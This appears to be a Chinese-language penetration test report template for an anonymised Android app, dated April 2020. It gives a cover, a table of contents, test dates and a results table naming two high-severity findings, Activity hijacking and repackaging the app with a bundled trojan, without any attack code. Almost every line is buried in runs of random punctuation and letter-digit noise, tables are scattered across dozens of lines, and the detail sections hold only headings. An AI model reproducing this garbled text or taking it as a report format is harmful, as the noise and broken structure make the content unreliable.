* R ~; m# X. C1 E0 a- N
* f: i, e9 p2 O
* [( d: m; [+ u0 k$ {
$ b5 A5 R) V: D* e6 P' p/ ]( X
2 E9 j4 q8 F# @, ?1 }
0 C1 h2 p5 h- b' p; u( R" \
( l: k0 ?5 x/ m" ~* v" d. z( G% K5 \! I! D1 x# v- x
; _( v$ E/ R( ?( _8 t2 _! Y
; J7 S. L! L& ^ `4 m% m* X : A4 M" i- ~6 _: C+ A
1 v1 t: ?5 B3 Y! I. z: X/ z 文档编号: 7 z( j" [1 s3 S$ [4 @7 V
% N! P) l3 ~1 m7 A- ?
. F7 |0 `4 \ Y
$ \) x4 [* }. ?* ?1 t8 {: Q , v, ?8 R) N, c8 O, I) p/ k$ C
- z0 Z$ C! [) t3 N
7 ?% f! d! A$ {9 I3 o5 q
/ R7 i/ \) U9 B1 F0 |* Z1 Z
9 `. g7 ]% j1 g" A$ ^8 E: Q2 K* N6 e) ?# m' Q1 X5 q7 M! y/ ^% y
0 x6 }! r- Z7 x4 U1 | f" v
4 C. _8 m! \' G# v " t3 B& r+ r& a4 E3 [
' B; _. d4 N! w
9 j5 {7 u/ k& @8 x
( G0 }5 i# v3 J- B R/ _
, q& ^9 Y- b! B# C, l" a2 c
8 L. S7 A# ^3 g- R1 l1 x
5 J- ?' U; A5 |, ]# s) K
+ _" e/ b* b* ^# @+ ~- C
1 n3 j. B# \7 X1 J* z
7 [) H/ d6 \9 |, s/ ]* V
$ d% a; y: @* V, {# `3 s
% c# }1 n0 A2 o- j8 R9 w7 K
1 E4 T, {6 A9 S' V# h( M* L. C4 \5 g
# @. L: R6 r6 X# |8 y
4 m7 t- x1 X. o! o( Y% Q5 j) }( d
+ t! ]6 S7 {. s: e% d( \3 P4 Q$ }) e7 g& }+ w1 H
# ?4 ~$ g! R; x- y: @
) W9 s- B8 v. @/ k3 J: E9 @" t
1 i' l* Y8 q9 ^9 n
' y' A8 k8 P* x- _* C
7 I. m3 o3 L, |& E7 B$ Z
+ K$ F# {% w' d* G 某某某APP渗透测试
6 E, r3 G) p L2 v) Z" t, K+ M+ \# M0 S g/ j; M7 L) D+ o
( e5 a: h9 {. ?# Q3 }. q: J" z
! V6 K* c. V6 S& z% Q1 }% W
m8 g0 H! C" g$ a( Z$ o' T6 x: Z" K% w0 s. I: P7 t: }4 n. V
3 q8 G( Q! V5 {. V6 i
( Z7 x& K' U0 }0 \6 x8 p7 f
4 t0 @5 O( k( o1 \4 n" R
2 v3 j* `6 x$ t R6 u' U2 g; |' ]
# r: Q$ q |. S% ^- L
q$ ^8 p( N! D( i
% d' K7 W N! x2 K# |
' p, M7 U% o- ^" p8 h" L! b3 `$ N+ Q; e8 ~; D# |2 Q: r
9 m9 h- j/ m. {5 U4 ]- |
, E; R' T& t2 k( {1 U3 Z! `
; S( H8 _& u: L9 \) }8 l! G
6 b- M$ g s# k9 l* C
. @4 d) p; d5 Y' u
3 j3 w, ?: z. q- `8 S& o
% p2 M" y0 C, _' w: H3 f0 w
1 H* q S. j* b2 ]7 J * y: r+ l) d+ O; P! E' R/ s+ B& i; I
* ^2 V$ x! G, {6 @' m. v: b
6 C6 [% i) J# K2 y# Y" M
8 A$ X* ^4 f1 f1 n
5 C$ k# p5 T; A
0 Y L+ O/ z1 V" H 技 术 报 告
9 s1 g' T! m, W5 z; g- M1 W9 f5 G B
' k' n) m+ `4 v' F1 x
. Q. s2 s. W* |2 M o , S2 h7 |& f/ Z8 L# o9 l2 ]( K' N! J
( m3 [1 \. H4 W! m1 T4 c2 V! D
2 C7 ~ g. @# w' W: f( W" J4 [* S6 ]- V6 ?: q
& e% }" Z, V8 \- q" D F$ S, {& d
2 h- Q! v% d6 w t
- x/ t) }% U& l, w( @$ E4 w2 W, ]9 C$ C" p2 H) [5 _* t6 F
+ l& e# u; j+ G: c
. w% ^8 ]4 L- O8 I6 a
, L: I$ z& y8 n1 X' n
7 b9 T. f% ?, e. J* F; U! i- _
9 u, a4 O1 {+ J" ?
$ A2 h( C- F1 C7 [ {4 w4 ]. k3 \
6 w( [0 q0 s+ G, G2 I
3 z9 O# M% R/ [" `, C: @
/ f$ }3 A! \; i5 l
; b& `0 x6 A& p2 W ) U' E" \6 ~0 @' [( M% O
' |+ v' ]+ U% K6 y
4 | A2 F4 {8 y7 N) V! Y3 d+ p" T" }9 F6 V
$ e7 s2 ?$ T1 i0 Q; Y) k. G
- n; x; J1 O7 o, V+ c' x* E n 8 ?! j# _$ K& ?# |
2 P- S* m, u$ v) Z' q p ) W) ?2 F% d3 @4 P5 q$ ?9 B2 `6 f9 `
1 x! a% n6 G. P, G& X0 Y' s
% b* n$ ]8 G* e9 D. H5 q/ E
2 S& Q# q7 L4 Q/ j: V
# W6 I/ B4 ]! ]. K8 C5 i! i7 b+ m) v
1 w& W8 S+ u1 R8 U3 k) |7 b
7 k( D8 X' U3 S( Z( p6 l- ~9 x3 r+ c+ C
2 `9 [( J+ F+ B
2 y' P' s, l6 [" [, I
: s# e- A5 H1 A; u) r
" N6 E4 ]! k7 n1 \ ) a0 g( V8 n" H& `
7 g3 O4 K4 N1 M; H
; |8 k* ^- Z" Q, R0 G2 O/ M6 F- m, }
1 C; Y* p0 t0 p
1 U/ g s2 C7 B& Z
3 Y/ v* B8 A4 M. F9 {/ c7 E% h/ K
' ]- B' Y/ a) v0 C ]
4 W. a5 w; N( j$ S6 F
' u1 A" G0 ]' g/ |6 a1 t) F. @ & Q1 R- B$ w, _5 L c
: o1 J ^7 b4 ^9 n# l# b
3 n& C6 y: l2 N7 T
. s n3 C* U7 x3 O* M& l: _
7 b) g2 c! v# t4 E- n
2 ?8 o1 m& g* p. H
. m8 K- C; G; G! u# T4 U8 |" L5 V% d0 ?
) `: z/ s# _, m |( I. H9 p( `+ g5 [' ~+ ?$ L! C& c
+ Y$ t. F, ?0 M% N& [8 q4 a0 g. r
4 |2 e& H1 c4 r( g
2 S5 O$ ^9 h5 F5 |# n7 o# Y
5 N9 ^# x' f. J( z( H
( |* q2 w+ b, f% c4 T7 ?5 |5 p) P0 i7 W2 N
3 M" z; h0 z8 e2 B/ Q1 s. d
" b! H$ w o) s4 u6 t8 R
) ?# @6 k3 ?7 z d( E r/ E4 V' R9 y8 D" S% Y, c
* Z' L6 t% o6 E6 o$ b' L* ~
$ x; R) t1 ?. K8 f3 X4 m
( e# s, c0 p# p3 l) o- d- r# o3 I" N4 Q& Y
! q7 W* P# b& A, W) e
$ H2 A2 ^, E- M' c8 R( Q
e. [; l# K0 G( a7 L8 |* B7 @1 s% l. z: `) A" b+ k3 s1 F
( Q( B% D v) P! ^
$ o3 O. t, q. G0 b
/ D( L7 N6 W* i$ R; h9 `5 s" Q* K8 T/ b y; n' E3 J& H
- G: g& J) l8 i8 O0 u# x; E5 \
( w& ^" N* p7 U- p; v
, `0 P' B: o$ X& D
: \: T" ^" m5 h# }5 K, G* \ 8 `9 o+ {4 R4 b j: i
! t/ [# l; q9 H6 Q, R }& x% G0 _9 S
$ |- ^ k+ R! C- \/ ] H' q1 _. C, F1 M
' k+ X+ d3 X- D( b. q
3 U \( e4 Y6 S, Z$ ~+ b
% b4 W" P5 k/ l+ g9 _3 H
1 f0 L) y* R+ z- |% a1 V " N+ a2 F. q2 \5 X
' _3 m- s8 }$ Y9 Y1 ~( q
+ `+ z: M- ~3 E7 p$ m
3 d, X! a; f; A/ s X* `8 k( r1 [$ C' [
4 m+ Q. P# ?$ x
7 H9 b9 f4 t. j7 I! ~1 i. v& `1 b! A; X% M/ c
% V5 g' X2 H H# u t. D
( h* T& `3 G& r ! O4 A m$ a, t6 a/ C% w
/ C; T0 E( G9 a/ r" h
* w4 s. a, ?/ ~% t
3 ~$ @, [5 a" ]' Q) b! K U
5 B% \: ?6 B, f$ f$ ^( l$ y$ ]
8 B( c5 a, ]# s R% B B9 |; a. `7 Q3 g# p, Q6 r
; a) c% d, w0 z" r' T) v; w
二〇二〇年
( s {; [9 ^3 j6 a- o7 X1 s' C, n4 Z3 o) Y' ]8 p# q
5 O# ~4 v. b! L' }( e( U9 j
. p7 e+ @- m' T% L
3 ^; I/ |0 ]: L+ [: w; r$ ~- r4 E2 d* Z/ `- } F `
6 @6 N9 E4 R" H0 Y) m3 P8 [
) p5 ]: \7 p& ~% G% n
3 T5 A: |2 @8 b* ^9 Z N" M
; V# J( r) I6 S/ @6 f( a
" O5 M' @' c( N; m$ C, f1 A6 a8 j& r7 f1 @7 C# z! ?. X8 P" J
) `8 h8 u7 j8 U" M; x+ b. M
* `) w- @' ]! g
! y! `$ o0 ^. L, R) ~
' r. d! R) O& t
+ {& E* @1 @; {
9 o0 X1 b7 W; @: r
+ a0 S; U3 r z, B! n5 A6 F. I) E" M2 v; c3 c, W- g! g! A
- \& M9 F0 c. q6 a8 {+ o
5 x4 N* C5 Y; r 目 录
1 [7 R$ t% g2 J% y" d: f% P$ Q" O& O# n4 j( i* ?
9 N6 o- e$ K! A6 N$ c S
# J7 y7 {% `1 Q
* Z% J9 ^. \5 q( r( w8 o. p' Y4 @( G9 _& b
- Z$ w4 n0 ^2 E9 `, N, w( v& T
# K9 o- K# T; b: `, r ! @& ^, r% S& T: ~4 K1 d4 C d
9 f& N9 ]# a g* ^% h5 s
$ d( s' Q4 ?" V! C i* A# j
, k* Q5 Z' H% t) c4 ^6 Z( j+ [" ]$ t W* i" R1 y% J! e5 ~
! D, j% c2 V0 m8 L$ A; ?* v
1 概述... 3 # ^+ x4 |( N0 q( ^
2 G+ n5 `% T7 r; B' K& G
9 Q! x9 |- P/ i4 @6 a4 O5 e$ Z. D: w& _
$ E! i% y& Z+ K6 ~5 T; k% G+ A' `6 K
0 c$ U' A& I' q0 h
1.2测试时间... 3
7 u3 ^. B/ M' H9 t
5 `7 b7 |' U: m7 c" P8 B m
# h& n' L, m9 A" r" ^: y* S
, P% g3 |7 u8 c$ o6 @+ c$ |: S
' c% S Y6 U9 j* x0 H% Z* A
' Q! \: F5 \- W 1.3测试对象... 3
$ w/ \ w& C( Q2 D# q* x, q% U6 |+ \
! i/ y/ ~" o, U' Q4 q- O* G7 `4 s& F5 G% Q$ I
$ p7 O, ^: f4 ?% h
; x9 i; g. r; |& v) A* i& }
1.4测试结果... 3
a0 J9 f) {7 G! n8 R) ^4 o
3 H6 h% i2 L! `2 @
$ g$ l1 G6 t2 [0 C; P- R$ m
4 T) l; T4 e" G
* w& |- D, {% N8 G$ V2 l
8 D: H5 G: A. B
2 检测结果... 4 5 p7 U& g3 d% e5 U' B8 s
- F0 Q. S. s, U+ p5 c. Q! z
- |: B2 A. l0 d! o2 u& e& }/ f- Z
' u! u' G# d, M6 n4 r/ ]
0 d8 G) T+ c, e: M, y. o- T1 e9 J/ S" n
2.1 某某某... 4
' L2 W7 i# ?3 j2 G1 P3 x
' R2 \5 S( U. I4 K" q
/ o0 s7 o! R2 |$ u) V
3 U/ w8 ]0 O$ \5 N6 `2 Q; v / B. X) B8 v1 A7 K0 R. n1 g7 c H
) r# d& p0 G( Q+ A& u) I/ R+ b7 @ 2.1.1检测目标... 4
, a8 I1 ?, x0 g9 _) _
t! H+ T% |( N; n, X. G, A
! q. Z! j) d/ C$ k' u! j: P5 {* `" C* t+ g/ J$ h# ]- c0 c
4 y6 \6 w' ?( I8 l& Y' C
- q% j( ~+ K5 u* Q0 o0 S 2.1.2检测结果... 4
' i1 Z V+ t$ h$ V3 e) ]5 V& N0 ]$ b
$ v1 F! j) w7 u. S: E8 y& F
& j- K& \. O7 Y1 r) G/ B
0 z. D/ F, t- G- R. K8 B! S- z& f( r$ {4 P1 h
2.1.2.1. 4
2 Q$ e! f1 b2 ~) X
7 L# `$ ~4 m4 r# K/ y
- ^4 G$ j2 W* c; ~! o' F7 u
# s6 J6 t' `* P' X' M- _2 c! J9 O# I; `
: Y7 h. r W0 [
2 k" I# f9 Y, J! f' b& _+ j 2.1.2.2. 6
/ @9 {; X. H; x* j. |* e4 Y. n7 l: L: x: }
2 H5 n/ F2 |* u
0 \9 r/ {& u# x: p( ~: H2 `
7 H* `: ~5 M. j& z- T+ R
" i/ R! k( _, j7 X$ p2 W7 P: N. ], u2 d , |7 _1 Q# q5 I" N6 @) y$ e
4 Q$ _5 X) _$ W& I; b8 {+ M
1 ?4 T) I1 v& K8 k. W6 i+ F
8 N( c4 [0 R+ u( N- P
E+ I, E0 ?# i( J! P {* V m
5 @/ ^! l6 u* n9 ?
: v* Q; e) c! k, x4 j' Y" z
) \7 W. Z. G* ^$ Y) U/ v
$ E0 o8 z- ?3 x* W" P4 x- P- ]6 S6 d8 g9 i4 B) d. h e* v
, G& p2 r9 L8 s Q
/ S0 ?4 Y& C/ t; o. j7 u8 @1 \2 d
9 k' R) T; i1 H
: A8 \, j, _6 T$ P: s$ T* z" h; P 1 概述
$ Q! X& F+ U0 F
1 d. n3 x3 I9 Z0 y y9 `- M
$ T" ]+ B2 I0 e6 k+ M4 O/ z* a, W& V5 [; n: c/ W/ { y
6 ?0 U3 D& t$ I: Z' X' ]& S5 T% B! ?" v3 B
1.2测试时间 % E2 O# F! [2 `6 K8 Y, C
- B! r* B$ Q: F& C2 E' u
6 I. p& P i& C
# N1 i0 a; Z8 [9 [0 Z. X+ k4 S
/ E n# _4 j7 L! ?2 V
, r d* M: t `9 ?# i
, h1 z e) x: j/ g
/ U& t( v& D* X8 E0 O4 O & n$ }8 u: d3 W. A; R, `
8 @5 p' R" m6 w" [" _3 V* X
4 g2 n: k. {+ x0 V, U2 M& G' T& i% M
, I+ |+ U6 G9 g- ?8 a
b5 b- j$ B4 Q' B3 p3 g
( e- X/ u: w& k" Z: n 渗透测试时间 , U" p# d; E, }" z. \6 k& F1 D0 [
! I S: Z9 u7 p- r0 A; a/ W ! @- a! M) A5 D8 ?7 o# M; G
- u0 x5 z1 Q9 R- F( v5 s3 O- q1 I( m/ ` |
6 a1 U3 o/ \- y$ ~$ d) R! p
' e: f/ ~1 l4 x
l: g7 v* J {* ^9 D# b+ R
+ a8 k. l0 t$ J6 @4 V: k7 `
. p3 W' r5 z/ A6 R$ r: h: b& R; M( U7 j3 I1 _
r) W. ]& }2 a
( ~ D1 R4 s2 U - x( s& ?3 h _" l; R5 D6 Y& U' Z% |
5 f t( k7 z# _" e0 F
起始时间
* p7 f% z C( I) I
% ^* ^$ o* y# h1 a9 S " Q8 F X& Z1 e
) D9 P* D4 z1 q
| / x1 X" a" f+ B) h/ @5 K4 U/ v0 [" b
, c0 P' U+ A* @4 y* D j: d
; I! A1 Z2 T7 d+ F
4 G+ S4 ]7 i8 ? X
8 ~5 a# E: O: Z
$ K: B: c: Z' I' y3 G9 z o# i5 @ 2020年4月6日 9 z I) }- f% ?5 q/ x6 R) C6 r$ l9 ^
- F( B$ i3 \" \! {$ T
) y- _* c8 f( |! K) f
* x# g" N5 @6 v |
8 P" l5 K5 h3 g
# O6 c7 @* J9 m3 X
9 E. @% a7 u; @9 ]( {: J9 b' O9 Q* m0 w
: H; K0 ^0 Q) f! u+ C% t( q& C' z5 b/ O
% ?) T: f- X) |4 Y
" V/ l, W3 V3 q- ~+ M2 j
8 U' G& }1 f9 c3 B- p5 J5 [
% j: f' e2 B& A9 h
( s7 s9 M5 }# [7 W& Z4 g* H 结束时间 6 ^/ j3 ]1 f& o, s0 _
1 i J- i) e5 f' a9 ?6 e3 f8 a
. I; n% _" _. a) ]% w( k1 w0 [4 M
+ l' N: y/ [; Q2 |1 ^
|
$ Q+ S( [7 W% Q) v/ F V7 \* b
. `# @9 N' y9 m8 ]9 }5 g
& C! P' M0 c( F$ K4 p
! b! ?; Y3 k& {6 r : r% _8 W8 c' m2 [' T0 ]' o
! _- E4 \3 D; Y
2020年4月9日 {, f0 y/ K3 U* q
% x, N( ^4 J$ f0 z% M( \- l% K3 L
- {0 N' [# k& o
6 N ^) n, @; n
| ! [. h5 m0 E/ o; x& b
8 k4 m1 M: d1 C# e
V5 }5 `6 _& c6 a% |1 w: X& A1 l5 s( X( \5 e7 @& R
/ G7 w" N' `- @9 Q/ t/ n4 c# k" R* Q' j( h/ @
. z* L: X' ~3 N+ W5 m# e" n4 o
: Q6 S4 q) \% {: B6 [# ]3 v ; ~+ y( {" j/ c; y I+ r3 o( O
1 V! R4 y8 [! w7 B+ B
1.3测试对象 6 s3 U8 z$ C; k
' r) @) ], M0 L# a1 r* `3 d" z
& A3 ~0 }' j8 Z7 P8 i- k- D3 M0 z) G/ L* K7 R
6 y, E$ y! k$ Y2 m6 {3 P4 B ]
" K" [) k# V' N7 b
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: , n# `; t. U+ ^6 F& i) `5 Y2 H! f
! V) @; x3 ?, ?
9 D8 C" O; L0 x8 O1 v4 _
; Q P1 I' B" y) R
9 N/ J4 I% r4 f& a3 j/ R4 M. O a7 ~) p5 |. V
表1-1 检测对象 ; [( E0 }. l" J D9 b3 W
8 S* g; y2 v4 ^5 {
E; w4 \$ _' D( d8 E$ x' r
7 x, B2 n+ `: [* o( Z- ?( q% E* l) ?( J
) M: m+ S% r0 p) U. `" l6 R6 [# d! \" t
4 i$ T, n: {2 B/ x! g* t
' J6 y: T" Z& D
; A) q, R! C% N( a$ z. \
- v* ?2 |, ^: x9 x- n
5 J3 s8 o4 M6 j6 B- s2 t
! G: H* j6 [5 x
9 s- U0 y! }7 |
4 q. K* G' P1 t7 d! T+ @ A# t. b 序号 4 _. ~5 H9 ~2 D S
. _ q( b6 D B" N
' o2 C$ R1 s8 t( V
: I* N+ G0 T1 }
| ! `2 p* F5 u1 J' y0 X7 b
9 s' {* l1 k) }( k5 ~1 H5 K, w
0 ~1 @1 X# `( |' c6 Q9 \+ s# L
) h& c3 t5 ~: ~9 b" d% V2 c( Q k8 | / t, T; n! {( b N. ?0 O
% {0 X/ ]; O# G 测试对象
+ }6 D, c `% O# K( U) C6 E6 G+ @( G: I; k* A
% z/ W; ?+ F" p
! M/ \8 f7 u" w/ G- y: x4 L. B5 q | 9 m/ W W! V2 @+ f) Y/ Q0 G
* P2 u, K, A; y; L/ e- l
8 [$ v( A9 |7 X `
0 i) x4 ~% n( C9 V4 d0 X
( J; A& ^4 ~/ ?& A' R+ P& s, V) w
测试地址 6 V% D; t+ ^) L/ C- e& e( \
9 q/ |. j% H7 d2 B; ^$ h ' b# i4 _/ n0 h* g2 H
+ c! V. E3 k$ G: s" y5 _ |
5 F X$ E1 s# W4 j: }/ V$ p
3 N9 s+ o# Y: c. x3 T
5 Y3 ~3 C) y5 w( p2 |% ~
# l9 ^7 W+ R6 e# ? X7 | 8 I1 j5 k, M/ K% k
8 t6 s# r/ z" G# j% }# V 安全漏洞 ; F5 i2 m/ E+ w# {) F6 k
, P/ C' j7 J K# z; V3 z( k ' T& `3 a( V D. D1 h
3 p# F s3 d- I6 [. e
|
d# ^" L. w# \* g0 P# B& w2 e) J
% r( x. l$ ^8 E1 O7 \: E) X0 t3 U; T
5 ~2 y6 `5 b) K* i1 n
7 _3 N- X5 S; U) G! y G. ?: u, w! y. ]0 T! u2 k4 `5 }. P
' B3 i- _; U( U) w/ g4 T
1 F5 Q' f; |/ r6 f9 N& ^ - m7 d6 V( ]; C
, Z1 D& A7 J5 X9 d
1
+ k' s1 z2 r( Z& J& T, G; l% Z8 j0 u% Y! x" K7 R# x
/ {: _0 s3 ^7 p9 t' Z
; N( i3 c' [& g5 `/ d7 j
| 1 ]( }6 L) j) X/ z
1 l1 n7 G- v; s, d
" e7 I4 Z D1 }# L# v
) B6 y; F$ ?$ q3 u. q( ^3 ~9 C) v
% Z1 v6 V; e6 ^3 h# x
- [" ?- w* B- B# r o 某某某安卓APP 5 F% x: b: [& [9 m' L
5 w4 d& B; Y$ i) X1 f' a; X
# l: d6 D. V& E
" i1 Z+ d6 |) V* p |
& g2 S7 i0 l' c( z* L% O: u
; a" w* _! i( n! ] : H3 A* O1 u% B9 F
4 P* i3 b3 R0 m: {
- B* `5 g' Q# [" d- P) y: y$ k
# G* M9 O- _6 s4 c# r1 N! L 1 W5 O& N, E, k: Y2 z
$ b) ]+ N( H' ]7 T1 \4 V. z & j* F: U& r4 p( f+ T
( Y# a# v5 |: k5 l& p | 5 E9 O/ Q8 ~1 N9 o& A+ O
+ u$ X3 @ t; R3 M( e, r
0 U o- n% n0 ]) g6 d7 I* H
. C0 ?" J" e) t" o9 N( B
% `5 d$ |# U+ C/ O9 s8 r+ r" w) w: P# s$ l) L4 Y
2
( t; F& e( I9 S2 j+ s/ t) U( {& ?
- ^/ m9 k# X4 l" E2 p! Q0 B ! v& k: W% z( B/ b6 r1 e: U
" D, Q8 S: `" b) m# m4 i |
' m( d! G0 j7 ?
2 P9 u1 E4 N* v; J
8 H5 T) U8 t3 t6 s
: f: o. v* D% \; h# @! Q" O
8 ?5 n4 ]4 u5 ~% f. y0 E) x- S# O- `2 ?$ `1 N/ V0 ?; U2 A4 x
# P/ S* D3 @- n9 q. m1 a4 e2 h. q0 \* l; L
* x9 l' ^% T$ A& a
! C6 r; z5 g' }
1.4测试结果
4 I) h5 z- V$ O1 V0 _2 Y( v
9 \% h4 c4 X; z# v, Z2 p9 ^
" J' Y/ v0 |4 g: e( V) Y. i
3 V$ ~0 r1 W8 G0 G - V. T/ c* a9 x* ?$ J
+ B1 k8 J9 u" Q: i8 \" f 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
, m9 L% F9 ?0 t1 @( S, A' ^( o) [
5 f! P' V5 w7 Q. k. ~8 T
- N% i. }$ F# L( g" j
1 e' c$ h/ F+ n, T3 g) a : ~. M' z5 q; b( C- I- x
3 z. ]" B2 G; r- Y( [5 y s% }' `( P2 D1 o5 J9 G) x
( i1 _) |3 k. S
+ J- a0 [3 _! T
2 _( o) v# Y" a7 N& Q5 _8 n9 r
9 S0 X3 I6 v" z/ }% @4 d
0 K0 s# \, `! W
$ |/ u. |% ? q: l* `/ A+ Q3 j: a& q
4 j `$ l5 P4 e* L+ G) [1 A' ]* o% Q' N% e
: p" h" P& A# ]. _" W- A
" L$ o6 n9 H/ R/ C) z
2 \! s) F1 d2 l0 N* Z2 J2 S2 B" ]7 I/ l9 e! K1 K
# w4 ]6 Q7 a6 a F, P x
7 Y8 Q5 j* V+ h: h' k 序号
4 A- _! G( i* t3 H2 ]- Z$ |0 d: a) z5 x: N
0 F* ~ q. \5 s2 U# V9 O
4 y, F, {' D% M6 g& c
|
2 }! F) C1 R; [) H6 ~
# q! [, C! c% `4 ^* M( e5 Q% z( y
' `( h& r) d2 @$ p d9 c- ^2 n" H8 M" l; W2 K5 Y
8 C c2 {2 {0 M: p4 Z6 M; W. t2 D+ T7 V: w, `' ~( m7 N
系统名称
: M- ?+ V9 D6 o \7 ?: Z) [- W
0 `1 P I: ~9 `* ~' U0 ? ) Y: f" q. e& o. L
: F- b( _, @9 H3 `$ x
|
$ q: B: J; r( M& I6 [) d
: D/ t# E" y8 D9 P' Y+ P% p
! J$ U: u! g4 c; U$ R
" L. Y4 E7 b U( t* a2 \5 \ 4 b7 B* R' u+ u" e+ D( r0 S
0 N+ p5 H* k+ e }& d 漏洞名称
. _: V% M% W0 d$ U" o# b
' k& w* u" ]) I# ^: J
8 Q- i. C4 V5 K$ f2 u4 }) r9 q/ }& m: S6 T3 D1 A
| , N# Z* C* b' G5 K: g6 `5 M8 J( y
# V4 L+ _8 `9 V& x$ ?' x7 K
! [7 F( v: F% z+ U% `+ H; j% T# X
: p' o; ]8 O e3 J) r4 Z/ d4 ~3 Q Z
8 H i7 u+ p: m" P$ ~2 H/ u$ s7 p; u. o2 e
漏洞危害
1 W1 C$ M7 E7 g- E* D6 U( V2 d
4 v$ m. {& q2 @& `' M0 e
0 L% |% Q: k0 G: [ |
, O$ D# v9 M" Y- z9 `+ o
4 K! C; X6 I( s: q7 q/ Q5 M0 d & f" Q+ n4 H3 {' a( D7 \
, J/ d) z! c9 q" @/ S! G9 h
- A8 t& ?: g U
. `7 h. W1 z% a 修复结果
' Q* P2 x7 J* R% m
1 Z9 y4 e9 g' f' n
0 N7 W4 ^* k, W7 g+ D8 t
, T( g' a3 {0 |) C- N | + x j, L. e1 W- ~
! _7 k2 B( D9 _$ T- c1 m ~7 A, O
7 t/ d+ r8 ?/ |. Q
( n( z8 T( H1 C8 z3 Y
5 X' i/ l1 t, h; Z q5 z! y) r; Z
" t9 f9 P" q1 J/ s
4 L. C* J& d; `% |9 k) i8 I- V* z) X$ o3 p
: Q0 o* c1 v# H" L* K1 c$ ~9 Y2 v9 o9 ?9 ]+ P4 M
1 3 s% G* h) t& x1 X
0 n" f# f) \( ?* W% q
5 Z$ O% L9 p; l. \4 ~3 G' K" v6 ?: s) g
| + S2 O% Q" D$ A. V' w) Q
8 A" k4 B* W, i( s/ `; w
4 c7 S% P9 w, u- |( N9 l
+ Z4 x* N5 O0 V* M3 t- z' D- S / e4 A$ D. Z$ y; d
& R, ~1 z6 Q0 @8 P 某某某某某某APP
6 {4 U/ }- ^/ x2 W! H; D( o$ R1 I' j% P) P# T
. x5 U( ^7 I: @7 B5 s
_- `9 J( p- V# K' D7 u) @ H
| ! B4 b: u, i- @; ^
6 o, \# a+ B3 M9 Y/ d# @6 A ) l/ [% Q: a( c# ^7 @$ K
* I6 W9 E9 O2 l1 E1 @
# `; B" _" h. A5 p
7 l: C! i. T+ O' \2 R Activity 劫持
7 S4 y, {) S; j( t" i) A
0 s/ V7 Z% U4 }6 A 7 [% Q/ d: X( |+ l P0 l
. ^; ~6 Y4 |- V9 c5 t
( j6 b0 w* W, ]. `3 s
! f5 L0 D/ ?: T" \- O1 Y
* p* @) l6 x! b j; H0 @
$ @( i6 L! ^8 U; L1 w; S
- M' m. O3 ]& o! f5 X4 D7 @. b% r: K* J6 ? @! |1 K8 X
| _) ]- V1 A# w8 R- E6 Z
7 i! s" J6 k$ ^) O
1 d2 T) ~; p8 Z# Y# l
0 E3 J+ L. |# z
# a ?1 Z5 P, O% Z8 j: M& N& Y5 U' V" f0 Y6 {. b# x% x7 H. m
高
' t% N; ?! v+ V% T9 q, x
$ s% P. X& U) x7 P$ I7 g
1 u. j8 ^0 ?1 p* y8 J! f; {# _( |4 \$ s) P O, F6 ^
|
- c+ _! C B7 Y; `% q
% M* L! Q5 Z: [. o1 B' A
( H' |1 z x- n& q. `+ [6 i
: v' Z( ~ k. u: E" ], K: s) v 7 z: Y, M, y5 D- D% R) q
7 c5 c4 O/ c6 I; [ s1 y8 z
% z/ y: O* E& h* K" S; x4 }' U+ o. M4 t; O
! u" ~+ p# S% G: S) j
5 I8 x. z$ m% K) I; z0 O K" R5 a' e, X | ; e) |" t( Y+ ~- a: X. y, l4 s
; p3 Q. q9 {9 m: b& U" L# R
+ z7 L6 ~1 r; r1 i
# j4 N! g& u I/ w+ P3 H
8 G6 v* z- E1 n2 _* p( }; d! t" L. y9 T$ _7 J) _* p# i
! b8 u; A! E1 J6 ?" R0 M# O
1 r: X4 q& o7 W
+ q" L; k6 v2 b- s! S, h! o+ |/ M6 i7 B- E" D% P4 b
2
: o5 ~- z3 _& ~% o! p$ i+ a( b% w; J* g
5 H4 Z. _" G# `- R6 Z* z4 e
" d6 N" F8 U+ J2 ]8 ^+ u |
3 b: N2 d( t! Y* P1 a
# m& \9 i3 c( T; U0 A$ a5 N
9 o0 {: h, K9 M; e a; h* M
% e6 k+ F6 G" y0 \6 e
/ `! a3 G! {5 i7 N0 U* K
& `" u% j/ I' I' V% i0 z 某某某某某某APP 1 C* J2 ?" H5 I1 }
/ d0 ]) ^6 b3 U7 ?9 g- w- b & v' y6 \. L; b" b# T
8 Q I! R& J0 r | $ n5 ^, e- v7 w' P) J. Z# M, @ B
9 c4 H0 s; A) I
( h! }. N1 [: b
: N, \0 k, k; T* y, K. } * B2 U W q7 T6 s5 V$ b
D- y* B5 a. b, H
反编译二次打包捆绑木马、篡改APP代码 ; \$ m9 D4 R6 z- g
' N# _* ?- u$ Z0 m- e' A4 j
9 a0 Y9 @% _) _+ R
! \" t4 s. O7 B |
- I& W9 k* x, _, D" e$ y. q5 {, ~! W2 u% M/ t: Y
! _" B9 h' \+ L. K( t5 D9 ]# Z7 Z; H+ |1 @- h: e% C" [' Q/ D( l
$ A6 N. D7 t6 N0 a: K# I% b5 d8 A# w! B* K& Z
高
3 R) d6 v4 z4 ~' H/ ?5 y t
4 R3 D6 s E6 _" [- j
6 L' f! g5 p, d* D$ k4 e- j' {2 r$ E
| # r3 ?, x% ?" u6 q
, b8 ]5 ~# q+ G: L) [9 ^0 c* A+ S% B& M% X
% v& ~: V+ x* t6 E' b7 F) z. n5 l ?" y' }9 b O
. m A9 Z2 ~6 _" I( O+ ?6 U& O0 V
: }4 ?, G- T5 W( l. v2 A
0 ]3 m; Y( [/ p) v4 ?
! G" M9 v: g8 j) i. M7 |
5 S% C! z8 s, j, F$ W) S* b+ p | h& n: a0 m* o. ]! d
4 a6 \/ ?) g* k
; z$ X+ H; Y6 W3 @2 m
# L0 m4 @" T' Y& X4 H, S0 s
% P6 M9 L- k+ A$ P+ k
4 A5 w' O) {7 g& [
# d7 e9 k C& M) z" B# Y- d' ?
- {- W( X A/ B# O1 q/ w2 P& s , L" {& X! w5 d b6 @
5 ^+ Q: o- d% V" A, G5 C2 F
7 V7 Q7 D( E9 F1 i- {* H
. S8 R! w0 [/ o2 A5 s3 b$ \! T$ X
6 ^- ~; [! G2 m1 m6 |0 M
( }# |( b7 S4 J7 u% b% N& P- g# D
5 m+ ]9 `+ [$ N8 x
& g3 u9 \ \8 x9 F4 V+ `
- O' _8 m: n4 k2 m' x
9 @/ J9 u. {* D1 Y; t- f$ h 表1-2 测试结果
9 g) s" e" k6 K: L% h2 }) C9 d `( h3 B7 ] T1 D
